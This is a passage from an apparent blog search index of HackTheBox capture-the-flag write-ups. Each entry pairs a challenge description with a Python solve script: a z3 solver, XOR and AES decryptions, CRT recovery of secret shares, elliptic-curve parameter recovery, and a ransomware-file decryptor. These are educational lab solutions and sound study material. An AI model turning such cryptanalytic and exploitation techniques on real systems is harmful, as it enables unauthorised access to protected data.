lIlIIIIl(13, 12, 10), lIlIIIIl(2, 5, 806913563), lIlIIIIl(10, 5, 772591592), lIlIIIIl(20, 13, 11), lIlIIIIl(2, 5, 2211018781), lIlIIIIl(10, 5, 2523354879), lIlIIIIl(8, 5, 2549720391), lIlIIIIl(2, 5, 3908178996), lIlIIIIl(2, 5, 1299171929), lIlIIIIl(8, 5, 512513885), lIlIIIIl(10, 5, 2617924552), lIlIIIIl(1, 12, 13), lIlIIIIl(8, 5, 390960442), lIlIIIIl(12, 11, 13), lIlIIIIl(8, 5, 1248271133), lIlIIIIl(8, 5, 2114382155), lIlIIIIl(1, 10, 13), lIlIIIIl(10, 5, 2078863299), lIlIIIIl(20, 12, 12), lIlIIIIl(8, 5, 2857504053), lIlIIIIl(10, 5, 4271947727), lIlIIIIl(2, 6, 2238126367), lIlIIIIl(2, 6, 1544827193), lIlIIIIl(8, 6, 4094800187), lIlIIIIl(2, 6, 3461906189), lIlIIIIl(10, 6, 1812592759), lIlIIIIl(2, 6, 1506702473), lIlIIIIl(8, 6, 536175198), lIlIIIIl(2, 6, 1303821297), lIlIIIIl(8, 6, 715409343), lIlIIIIl(2, 6, 4094566992), lIlIIIIl(14, 10, 11), lIlIIIIl(2, 6, 1890141105), lIlIIIIl(0, 13, 13), lIlIIIIl(2, 6, 3143319360), lIlIIIIl(10, 7, 696930856), lIlIIIIl(2, 7, 926450200), lIlIIIIl(8, 7, 352056373), lIlIIIIl(20, 13, 11), lIlIIIIl(10, 7, 3857703071), lIlIIIIl(8, 7, 3212660135), lIlIIIIl(5, 12, 10), lIlIIIIl(10, 7, 3854876250), lIlIIIIl(21, 12, 11), lIlIIIIl(8, 7, 3648688720), lIlIIIIl(2, 7, 2732629817), lIlIIIIl(4, 10, 12), lIlIIIIl(10, 7, 2285138643), lIlIIIIl(18, 10, 13), lIlIIIIl(2, 7, 2255852466), lIlIIIIl(2, 7, 2537336944), lIlIIIIl(3, 10, 13), lIlIIIIl(2, 7, 4257606405), lIlIIIIl(10, 8, 3703184638), lIlIIIIl(7, 11, 10), lIlIIIIl(10, 8, 2165056562), lIlIIIIl(8, 8, 2217220568), lIlIIIIl(19, 10, 12), lIlIIIIl(8, 8, 2088084496), lIlIIIIl(15, 13, 10), lIlIIIIl(8, 8, 443074220), lIlIIIIl(16, 13, 12), lIlIIIIl(10, 8, 1298336973), lIlIIIIl(2, 13, 11), lIlIIIIl(8, 8, 822378456), lIlIIIIl(19, 11, 12), lIlIIIIl(8, 8, 2154711985), lIlIIIIl(0, 11, 12), lIlIIIIl(10, 8, 430757325), lIlIIIIl(2, 12, 10), lIlIIIIl(2, 8, 2521672196), lIlIIIIl(10, 9, 532704100), lIlIIIIl(10, 9, 2519542932), lIlIIIIl(2, 9, 2451309277), lIlIIIIl(2, 9, 3957445476), lIlIIIIl(5, 10, 10), lIlIIIIl(8, 9, 2583554449), lIlIIIIl(10, 9, 1149665327), lIlIIIIl(12, 13, 12), lIlIIIIl(8, 9, 3053959226), lIlIIIIl(0, 10, 10), lIlIIIIl(8, 9, 3693780276), lIlIIIIl(15, 11, 10), lIlIIIIl(2, 9, 609918789), lIlIIIIl(2, 9, 2778221635), lIlIIIIl(16, 13, 10), lIlIIIIl(8, 9, 3133754553), lIlIIIIl(8, 11, 13), lIlIIIIl(8, 9, 3961507338), lIlIIIIl(2, 9, 1829237263), lIlIIIIl(16, 11, 13), lIlIIIIl(2, 9, 2472519933), lIlIIIIl(6, 12, 12), lIlIIIIl(8, 9, 4061630846), lIlIIIIl(10, 9, 1181684786), lIlIIIIl(13, 10, 11), lIlIIIIl(10, 9, 390349075), lIlIIIIl(8, 9, 2883917626), lIlIIIIl(10, 9, 3733394420), lIlIIIIl(10, 12, 12), lIlIIIIl(2, 9, 3895283827), lIlIIIIl(20, 10, 11), lIlIIIIl(2, 9, 2257053750), lIlIIIIl(10, 9, 2770821931), lIlIIIIl(18, 10, 13), lIlIIIIl(2, 9, 477834410), lIlIIIIl(19, 13, 12), lIlIIIIl(3, 0, 1), lIlIIIIl(12, 12, 12), lIlIIIIl(3, 1, 2), lIlIIIIl(11, 13, 11), lIlIIIIl(3, 2, 3), lIlIIIIl(3, 3, 4), lIlIIIIl(3, 4, 5), lIlIIIIl(1, 13, 13), lIlIIIIl(3, 5, 6), lIlIIIIl(7, 11, 11), lIlIIIIl(3, 6, 7), lIlIIIIl(4, 10, 12), lIlIIIIl(3, 7, 8), lIlIIIIl(18, 12, 12), lIlIIIIl(3, 8, 9), lIlIIIIl(21, 12, 10), lIlIIIIl(3, 9, 10)\u0026#39; payload = payload.split(\u0026#39;), \u0026#39;) payload = [[int(y) for y in x.split(\u0026#39;(\u0026#39;)[1].split(\u0026#39;)\u0026#39;)[0].split(\u0026#39;, \u0026#39;)] for x in payload] chunks = [0 for _ in range(15)] for i in range(len(flag)): pos = i % 4 cur_reg = (i - (i % 4)) // 4 if pos == 0: chunks[cur_reg] = 0 chunks[cur_reg] |= (flag[i] \u0026lt;\u0026lt; (pos * 8)) for cmd in payload: opcode, op0, op1 = cmd if opcode == 2: chunks[op0] ^= BitVecVal(op1, 32) elif opcode == 8: chunks[op0] += BitVecVal(op1, 32) elif opcode == 10: chunks[op0] -= BitVecVal(op1, 32) elif opcode == 3: chunks[op0] ^= chunks[op1] s.add(chunks[0] == 0x3ee88722) s.add(chunks[1] == 0xecbdbe2) s.add(chunks[2] == 0x60b843c4) s.add(chunks[3] == 0x5da67c7) s.add(chunks[4] == 0x171ef1e9) s.add(chunks[5] == 0x52d5b3f7) s.add(chunks[6] == 0x3ae718c0) s.add(chunks[7] == 0x8b4aacc2) s.add(chunks[8] == 0xe5cf78dd) # s.add(chunks[9] == 0x4a848edf) if s.check() != sat: print(\u0026#39;unsat\u0026#39;) exit() m = s.model() fl = \u0026#39;\u0026#39;.join(map(chr, [m[x].as_long() for x in flag])) print(fl) Summary Metagaming: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Metagaming-Challenge/","protected":null,"snippet":"Metagaming: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox Metagaming Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/630\nDescription The military possesses a server containing crucial data about the virus and potential cures, secured with encryption and a key distributed using a secret sharing scheme. However, authorized members holding parts of the key are infected, preventing access to the research. Fueled by your cryptography passion, you and your friends aim to hack into the server and recover the key. Can you succeed in this challenging mission?\nExploitation #!/usr/bin/env python3 from pwn import * import json import sys from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from Crypto.Util.number import getPrime from sympy.ntheory.modular import crt def connect(host, port): return remote(host, port) def get_share(io, x): io.sendlineafter(b\u0026#39;query = \u0026#39;, json.dumps({\u0026#34;command\u0026#34;: \u0026#34;get_share\u0026#34;, \u0026#34;x\u0026#34;: x}).encode()) response = io.recvline().decode().strip() return json.loads(response) def get_enc_flag(io): io.sendlineafter(b\u0026#39;query = \u0026#39;, json.dumps({\u0026#34;command\u0026#34;: \u0026#34;encrypt_flag\u0026#34;}).encode()) io.recvuntil(b\u0026#39;encrypted flag : \u0026#39;) data = io.recvline().decode().strip(\u0026#39;.\\n\u0026#39;) return json.loads(data) def main(): if len(sys.argv) != 2: print(f\u0026#34;Usage: python {sys.argv[1]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) io = connect(host, int(port)) print(\u0026#34;[*] Collecting shares using prime numbers...\u0026#34;) primes = [] remainders = [] for i in range(19): p = getPrime(15) share = get_share(io, p) if share[\u0026#39;approved\u0026#39;] == \u0026#39;True\u0026#39;: y = int(share[\u0026#39;y\u0026#39;]) primes.append(p) remainders.append(y % p) print(f\u0026#34;[+] Got share {i+1}/19: prime={p}, remainder={y%p}\u0026#34;) print(\u0026#34;[*] Applying Chinese Remainder Theorem...\u0026#34;) key = int(crt(primes, remainders)[0]) enc_data = get_enc_flag(io) key_bytes = sha256(str(key).encode()).digest() iv = bytes.fromhex(enc_data[\u0026#39;iv\u0026#39;]) ct = bytes.fromhex(enc_data[\u0026#39;enc_flag\u0026#39;]) cipher = AES.new(key_bytes, AES.MODE_CBC, iv) pt = unpad(cipher.decrypt(ct), 16) print(f\u0026#34;[+] Flag: {pt.decode()}\u0026#34;) io.close() if __name__ == \u0026#34;__main__\u0026#34;: main() Summary MSS: exploit the RSA structure, recover the missing secret, and decrypt the flag.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-MSS-Challenge/","protected":null,"snippet":"MSS: exploit the RSA structure, recover the missing secret, and decrypt the flag.","tags":["htb","crypto","rsa","aes","hash"],"title":"HackTheBox MSS Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/410\nDescription You\u0026rsquo;ve made contact with a spirit from beyond the grave! Unfortunately, they speak in an ancient tongue of flags, so you can\u0026rsquo;t understand a word. You\u0026rsquo;ve enlisted a medium who can translate it, but they like to take their time\u0026hellip;\nExploitation #!/usr/bin/env python3 def decrypt(): encrypted = \u0026#34;ZLT{Kdwhafy_ak_fgl_gtxmkuslagf}\u0026#34; key = 18 decrypted = \u0026#34;\u0026#34; for c in encrypted: if c.islower(): if ord(c) - key \u0026lt;= 96: c = chr(ord(c) + 26) dec = chr(ord(c) - key) decrypted += dec elif c.isupper(): if ord(c) - key \u0026lt;= 64: c = chr(ord(c) + 26) dec = chr(ord(c) - key) decrypted += dec else: decrypted += c return decrypted print(\u0026#34;Flag:\u0026#34;, decrypt()) Summary Ouija: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Ouija-Challenge/","protected":null,"snippet":"Ouija: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox Ouija Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/166\nDescription We received an email from Microsoft Support recommending that we apply a critical patch to our Windows servers. A system administrator downloaded the attachment from the email and ran it, and now all our company data is encrypted. Can you help us decrypt our files?\nExploitation #!/usr/bin/env python3 def decrypt_file(encrypted_file_path, output_file_path): KEY = \u0026#34;SUPERSECURE\u0026#34; key_length = len(KEY) try: with open(encrypted_file_path, \u0026#39;rb\u0026#39;) as f: encrypted_data = f.read() decrypted_data = bytearray() for i in range(len(encrypted_data)): decrypted_byte = encrypted_data[i] - ord(KEY[i % key_length]) decrypted_data.append(decrypted_byte \u0026amp; 0xFF) with open(output_file_path, \u0026#39;wb\u0026#39;) as f: f.write(decrypted_data) print(f\u0026#34;Successfully decrypted {encrypted_file_path} to {output_file_path}\u0026#34;) except Exception as e: print(f\u0026#34;Error during decryption: {str(e)}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: decrypt_file(\u0026#39;login.xlsx.enc\u0026#39;, \u0026#39;out.zip\u0026#39;) python poc unzip out.zip rg \u0026#34;HTB\u0026#34; Summary Ransom: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Ransom-Challenge/","protected":null,"snippet":"Ransom: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox Ransom Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/352\nDescription You arrive on a barren planet, searching for the hideout of a scientist involved in the Longhir resistance movement. You touch down at the mouth of a vast cavern, your sensors picking up strange noises far below. All around you, ancient machinery whirrs and spins as strange sigils appear and change on the walls. You can tell that this machine has been running since long before you arrived, and will continue long after you\u0026rsquo;re gone. Can you hope to understand its workings?\nExploitation #!/usr/bin/env python3 encrypted = [ 41, 56, 43, 30, 6, 66, 5, 93, 7, 2, 49, 16, 81, 8, 90, 22, 49, 66, 15, 51, 10, 85, 0, 0, 21, 30, 28, 6, 26, 67, 19, 89, 20, 0 ] key = \u0026#34;aliens\u0026#34; password = \u0026#34;\u0026#34; for i in range(32): decrypted_char = chr(encrypted[i] ^ ord(key[i % 6])) password += decrypted_char print(f\u0026#34;Password: {password}\u0026#34; + \u0026#34;}\u0026#34;) Summary Rebuilding: build the exploit primitive, stabilize the payload, and use it to read the flag.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Rebuilding-Challenge/","protected":null,"snippet":"Rebuilding: build the exploit primitive, stabilize the payload, and use it to read the flag.","tags":["htb","pwn","linux"],"title":"HackTheBox Rebuilding Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/425\nDescription Ghosts have been sending messages to each other through the aether, but we can\u0026rsquo;t understand a word of it! Can you understand their riddles?\nExploitation #!/usr/bin/env python3 from Crypto.Cipher import AES from scapy.all import * import binascii def decrypt_data(encrypted_data): key = b\u0026#34;supersecretkeyusedforencryption!\u0026#34; iv = b\u0026#34;someinitialvalue\u0026#34; cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(encrypted_data) return decrypted def reconstruct_tcp_stream(pcap_file): streams = {} packets = rdpcap(pcap_file) for packet in packets: if TCP in packet and Raw in packet: if packet[TCP].dport == 1337: stream_id = f\u0026#34;{packet[IP].src}:{packet[TCP].sport}-\u0026gt;{packet[IP].dst}:{packet[TCP].dport}\u0026#34; elif packet[TCP].sport == 1337: stream_id = f\u0026#34;{packet[IP].dst}:{packet[TCP].dport}-\u0026gt;{packet[IP].src}:{packet[TCP].sport}\u0026#34; else: continue if stream_id not in streams: streams[stream_id] = b\u0026#34;\u0026#34; streams[stream_id] += raw(packet[Raw]) return streams def process_stream(stream_data): try: if len(stream_data) \u0026lt; 8: return None length = int.from_bytes(stream_data[:8], \u0026#39;little\u0026#39;) if length \u0026gt; 0x1000 or length \u0026lt; 0xF: return None encrypted = stream_data[8:8+length] if len(encrypted) != length: return None decrypted = decrypt_data(encrypted) return decrypted except Exception as e: print(f\u0026#34;Error processing stream: {e}\u0026#34;) return None def main(pcap_file): print(f\u0026#34;[+] Reading {pcap_file}\u0026#34;) streams = reconstruct_tcp_stream(pcap_file) print(f\u0026#34;[+] Found {len(streams)} TCP streams\u0026#34;) for stream_id, stream_data in streams.items(): print(f\u0026#34;[+] Processing stream: {stream_id}\u0026#34;) decrypted = process_stream(stream_data) print(decrypted.decode(\u0026#39;utf-8\u0026#39;).strip()) if __name__ == \u0026#34;__main__\u0026#34;: main(\u0026#34;./trace.pcap\u0026#34;) Summary Secured Transfer: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Secured-Transfer-Challenge/","protected":null,"snippet":"Secured Transfer: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox Secured Transfer Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/213\nDescription Timmy created a secure decryption program\nExploitation binwalk -eM core #!/usr/bin/env python3 from Crypto.Cipher import AES def decrypt_flag(): key = b\u0026#39;VXISlqY\u0026gt;Ve6D\u0026lt;{#F\u0026#39; iv = b\u0026#39;AAAAAAAAAAAAAAAA\u0026#39; ciphertext = bytes.fromhex(\u0026#39;322608dbef900b1ebcd3a058719148830000000000000000\u0026#39;)[:16] cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(ciphertext) print(f\u0026#34;Key: {key.decode()}\u0026#34;) print(f\u0026#34;IV: {iv.decode()}\u0026#34;) print(f\u0026#34;Flag: {plaintext.decode()}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: decrypt_flag() Summary Sekure Decrypt: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Sekure-Decrypt-Challenge/","protected":null,"snippet":"Sekure Decrypt: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox Sekure Decrypt Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/356\nDescription Intelligence indicates that the ancient data storage device you\u0026rsquo;ve obtained contains schematics for a never-before-seen weapon. But there\u0026rsquo;s a problem - it\u0026rsquo;s locked, and strange symbiotic lifeforms on its surface are constantly removing parts and reinserting them elsewhere. Can you get a clear picture of what\u0026rsquo;s going on?\nExploitation #!/usr/bin/env python3 from pwn import * from Crypto.Cipher import AES from Crypto.Util.Padding import unpad e = ELF(\u0026#39;./shuffleme\u0026#39;) iv = bytes([0 for _ in range(16)]) key = [] keybuf = e.read(e.sym[\u0026#39;key_blob\u0026#39;], 32*4) for i in range(0, 32*4, 4): key.append(keybuf[i]) data = [] databuf = e.read(e.sym[\u0026#39;data_blob\u0026#39;], 0x50*4) for i in range(0, len(databuf), 4): data.append(databuf[i]) dec = AES.new(bytes(key), AES.MODE_CBC, iv) print(unpad(dec.decrypt(bytes(data)), 16).decode()) Summary Shuffleme: trace the binary, isolate the validation routine, and invert it to recover the flag.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Shuffleme-Challenge/","protected":null,"snippet":"Shuffleme: trace the binary, isolate the validation routine, and invert it to recover the flag.","tags":["htb","rev","elf","linux"],"title":"HackTheBox Shuffleme Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/357\nDescription We found this ancient text inscribed on a stone tablet. We believe it describes the history and technology of a mighty but extinct civilization, but we can\u0026rsquo;t be certain as it\u0026rsquo;s written in a dead language. Can you use your specialist knowledge to uncover the truth, and recover their technology?\nExploitation docker run -v \u0026#34;$PWD\u0026#34;:/ctf -it python:2.7 bash -c \u0026#34;pip install uncompyle6 \u0026amp;\u0026amp; uncompyle6 /ctf/chall.pyc \u0026gt; /ctf/chall.py\u0026#34; cat chall.py #!/usr/bin/env python2.7 import marshal, base64, dis string = \u0026#39;YwEAAAABAAAABQAAAEMAAABzNAAAAHQAAGoBAHQCAGoDAHQEAGQBAIMBAGoFAHwAAGoGAGQCAIMB\\nAIMBAIMBAHQHAIMAAIMCAFMoAwAAAE50BAAAAHpsaWJ0BgAAAGJhc2U2NCgIAAAAdAUAAAB0eXBl\\nc3QMAAAARnVuY3Rpb25UeXBldAcAAABtYXJzaGFsdAUAAABsb2Fkc3QKAAAAX19pbXBvcnRfX3QK\\nAAAAZGVjb21wcmVzc3QGAAAAZGVjb2RldAcAAABnbG9iYWxzKAEAAAB0AQAAAHMoAAAAACgAAAAA\\ncwcAAAA8c3RkaW4+dAoAAABsb2FkTGFtYmRhAQAAAHQAAAAA\\n\u0026#39; decoded = base64.b64decode(string) code_obj = marshal.loads(decoded) dis.dis(code_obj) #!/usr/bin/env python2.7 import marshal, base64, dis, zlib string = \u0026#39;eJw10EtLw0AUBeAzTWLqo74bML8gSyFdiotm40rEZF+kRyVtCGKmqzar/nHvHBDmfty5c+fBrB2A\\niUVuUVkMG4MOnIARGIMJeAKm4BQ8Bc9UsfwcvABn/5VL8Aq81tINeAveKb/Hd47R4WDDTp5j7hEm\\nR4fsoS4yu+7Vh1e8yEYu5V7WciffZCl/5UpW8l162cuF3Mq1fJSUY5uYhTZFRvfZF+EvfOCnU89X\\ngdATGFLjafBs+2e1fJShY4jDomvcH1q4K9U=\\n\u0026#39; decoded = base64.b64decode(string) decompressed = zlib.decompress(decoded) obj = marshal.loads(decompressed) dis.dis(obj) python2.7 poc | sed -n \u0026#34;s/.*LOAD_CONST.*(\u0026#39;\\(.\\)\u0026#39;).*/\\1/p\u0026#34; | tr -d \u0026#39;\\n\u0026#39; Summary Snakecode: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Snakecode-Challenge/","protected":null,"snippet":"Snakecode: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox Snakecode Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/3\nDescription Find the username and password and put them in the flag in the format: HTB{username:password}\nWarning: It can produce false positives.\nExploitation Use dnspy to decompile\n#!/usr/bin/python3 import math def extract_username(): array = [ \u0026#34;1\u0026#34;, \u0026#34;2\u0026#34;, \u0026#34;4\u0026#34;, \u0026#34;g\u0026#34;, \u0026#34;h\u0026#34;, \u0026#34;l\u0026#34;, \u0026#34;o\u0026#34;, \u0026#34;3\u0026#34;, \u0026#34;g\u0026#34;, \u0026#34;p\u0026#34;, \u0026#34;p\u0026#34;, \u0026#34;k\u0026#34;, \u0026#34;d\u0026#34;, \u0026#34;f\u0026#34;, \u0026#34;s\u0026#34;, \u0026#34;e\u0026#34;, \u0026#34;w\u0026#34;, \u0026#34;r\u0026#34;, \u0026#34;t\u0026#34;, \u0026#34;z\u0026#34;, \u0026#34;u\u0026#34;, \u0026#34;i\u0026#34;, \u0026#34;i\u0026#34;, \u0026#34;\u0026amp;\u0026#34;, \u0026#34;$\u0026#34;, \u0026#34;_\u0026#34; ] username = array[0] + array[4] + array[10] + array[22] + array[9] return username[::-1] def main(): username = extract_username() password = \u0026#34;roiw!@#\u0026#34; flag = f\u0026#34;HTB{{{username}:{password}}}\u0026#34; print(flag) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Tear Or Dear: decompile the .NET logic, rebuild the check, and recover the accepted input.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Tear-Or-Dear-Challenge/","protected":null,"snippet":"Tear Or Dear: decompile the .NET logic, rebuild the check, and recover the accepted input.","tags":["htb","rev","dotnet","linux"],"title":"HackTheBox Tear Or Dear Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/2\nDescription This is a program that generates Product Keys for a specific Software Brand. The input is the client UserName and the Number of Days that the sofware will remain active on the client. The output is the product key that client will use to activate the software package. We just have the following product key \u0026lsquo;cathhtkeepaln-wymddd\u0026rsquo; Could you find the corresponding Username say A and the number of activation days say B given as input?\nExploitation Use dnspy to decompile and read buttonCreateProductKey_Click\n#!/usr/bin/python3 def unscramble_permutation(given_user, input_str, output_str): dictionary = {output_str[i]: given_user[i] for i in range(13)} key = \u0026#39;\u0026#39;.join(dictionary[k] for k in sorted(dictionary.keys())).lower() givenDay = \u0026#34;dddmyw\u0026#34; originalGivenDay = \u0026#39;\u0026#39;.join([chr(ord(givenDay[i])-1) for i in range(len(givenDay))]) days = sum({\u0026#39;c\u0026#39;: 100, \u0026#39;l\u0026#39;: 50, \u0026#39;x\u0026#39;: 10, \u0026#39;v\u0026#39;: 5}[c] for c in originalGivenDay.lower()) return f\u0026#34;HTB{{{key}{days}}}\u0026#34; given_user = \u0026#34;cathhtkeepaln\u0026#34; input_str = \u0026#34;0123456789abc\u0026#34; output_str = \u0026#34;21450c3b6798a\u0026#34; print(unscramble_permutation(given_user, input_str, output_str)) Summary The Art of Reversing: decompile the .NET logic, rebuild the check, and recover the accepted input.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-The-Art-of-Reversing-Challenge/","protected":null,"snippet":"The Art of Reversing: decompile the .NET logic, rebuild the check, and recover the accepted input.","tags":["htb","rev","dotnet","linux"],"title":"HackTheBox The Art of Reversing Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/209\nDescription Can you see me?\nExploitation #!/usr/bin/env python3 def get_flag(): v4 = 0x5517696626265E6D v5 = b\u0026#34;o\u0026amp;kUZ\u0026#39;ZUYUc)\u0026#34; v4_bytes = v4.to_bytes(8, \u0026#39;little\u0026#39;) combined = v4_bytes + v5 result = \u0026#39;\u0026#39; for i in range(20): result += chr((combined[i] + 10) \u0026amp; 0xFF) return f\u0026#34;HTB{{{result}}}\u0026#34; if __name__ == \u0026#34;__main__\u0026#34;: print(get_flag()) Summary You Cant C Me: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-You-Cant-C-Me-Challenge/","protected":null,"snippet":"You Cant C Me: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox You Cant C Me Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/417\nDescription The most famous candy maker in town has developed a secret formula to make sensational and unique candies by just giving the name of the candy. He even added a pinch of randomness to his algorithm to make it even more interesting. As his trusted friend and security enthousiast he has asked you to test it for him. Can you find a bug?\nExploitation #!/usr/bin/python3 from hashlib import sha512 from random import randint from pwn import remote import sys class ahs512: def __init__(self, message): self.message = message self.key = self.generateKey() def generateKey(self): while True: key = randint(2, len(self.message) - 1) if len(self.message) % key == 0: break return key def transpose(self, message): transposed = [0 for _ in message] columns = len(message) // self.key for i, char in enumerate(message): row = i // columns col = i % columns transposed[col * self.key + row] = char return bytes(transposed) def rotate(self, message): return [((b \u0026gt;\u0026gt; 4) | (b \u0026lt;\u0026lt; 3)) \u0026amp; 0xff for b in message] def hexdigest(self): transposed = self.transpose(self.message) rotated = self.rotate(transposed) return sha512(bytes(rotated)).hexdigest() def main(): if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) p = remote(host, int(port)) p.recvuntil(b\u0026#39;Find a message that generate the same hash as this one: \u0026#39;) target = p.recvline().strip().decode() original_message = b\u0026#34;pumpkin_spice_latte!\u0026#34; modified_message = original_message.replace(b\u0026#39;_\u0026#39;, b\u0026#39;\\xdf\u0026#39;) while True: p.sendlineafter(b\u0026#39;Enter your message: \u0026#39;, modified_message.hex().encode()) p.recvline() answer = p.recvline() if b\u0026#39;Conditions not satisfied!\u0026#39; not in answer: break print(answer.decode().strip()) p.close() if __name__ == \u0026#34;__main__\u0026#34;: main() Summary AHS512: reconstruct the PRNG state from the leak, replay it, and recover the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-AHS512-Challenge/","protected":null,"snippet":"AHS512: reconstruct the PRNG state from the leak, replay it, and recover the flag.","tags":["htb","crypto","prng","hash"],"title":"HackTheBox AHS512 Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/659\nDescription Noiselessly turning the corner, you see before you two men. In a former life, the two were best friends; pressure and pain has reduced them to mere animals, single-minded automatons devoid of emotion or feeling. The sickening, grim reality of the competition is that it is what it is designed to do, and none escape the inevitable doom. You raise your bow and bury two arrows into their chests; given their past, it was the least you could do. Death would be kinder to them than life.\nExploitation #!/usr/bin/python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.Util.number import long_to_bytes from hashlib import sha256 from math import gcd from sage.all import * A = (6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997, 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696) B = (5988601072335190267607626269694202717170383512532989213900345448657641222212196937725485374210603546742409649154478860998573202499999124529884522786776964, 1979660325653723467116529048392433203266542286102635118367760228627475646827461168434739881080159207311102652868018376000583885500682322201011066971591840) G = (926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253) x1 = A[1]**2 - B[1]**2 - A[0]**3 - 726*A[0] + B[0]**3 + 726*B[0] x2 = A[1]**2 - G[1]**2 - A[0]**3 - 726*A[0] + G[0]**3 + 726*G[0] p = gcd(x1, x2) F = GF(p) b = (A[1]**2 - A[0]**3 - 726*A[0]) % p enc_flag = b\u0026#39;\\xe3Nf1\\xd4\\xf7g\\xad\\xa6\\xa4q\\x8e\\x85\\x99\\xa2/\u0026gt;\\xb0u\\x16\\x1f\\xc5\\x1e\\x8a\\xf3\\xd0t\\xf5\\xc4F\\x9a\\xce\u0026#39; iv = b\u0026#39;2__\\xd9]3k\\x94\\x893\\x1a\\x7f\\x93\\xd5\\x14\\x05\u0026#39; E = EllipticCurve(F, [726, b]) G = E(G[0], G[1]) def decrypt(Q): secret = int(Q[0]) hash = sha256() hash.update(long_to_bytes(secret)) key = hash.digest()[16:32] cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(enc_flag) try: return unpad(decrypted, AES.block_size) except ValueError: return None if __name__ == \u0026#39;__main__\u0026#39;: for i in range(1, 12): P = i*G msg = decrypt(P) if msg and b\u0026#39;HTB{\u0026#39; in msg: print(msg.decode()) break Summary Arranged: abuse the AES misuse, derive the missing key material, and decrypt the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Arranged-Challenge/","protected":null,"snippet":"Arranged: abuse the AES misuse, derive the missing key material, and decrypt the flag.","tags":["htb","crypto","aes","lattice","ecc","hash"],"title":"HackTheBox Arranged Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/316\nDescription Wikipedia says \u0026quot;the Rabin cryptosystem has been mathematically proven to be computationally secure against a chosen-plaintext attack as long as the attacker cannot efficiently factor integers\u0026quot;, so I created my own cool implementation.\nExploitation #!/usr/bin/env python3 def main(): with open(\u0026#39;output.txt\u0026#39;) as f: N = int(f.readline()) remainder = int(f.readline()) a, b, c = eval(f.readline()) m1 = pow(2 * remainder, -1, N) * (c - a - remainder ** 2) % N m = m1 + m1 + remainder print(bytes.fromhex(hex(m)[2:]).decode()) if __name__ == \u0026#39;__main__\u0026#39;: main() Summary baby quick maffs: model the crypto leak, recover the 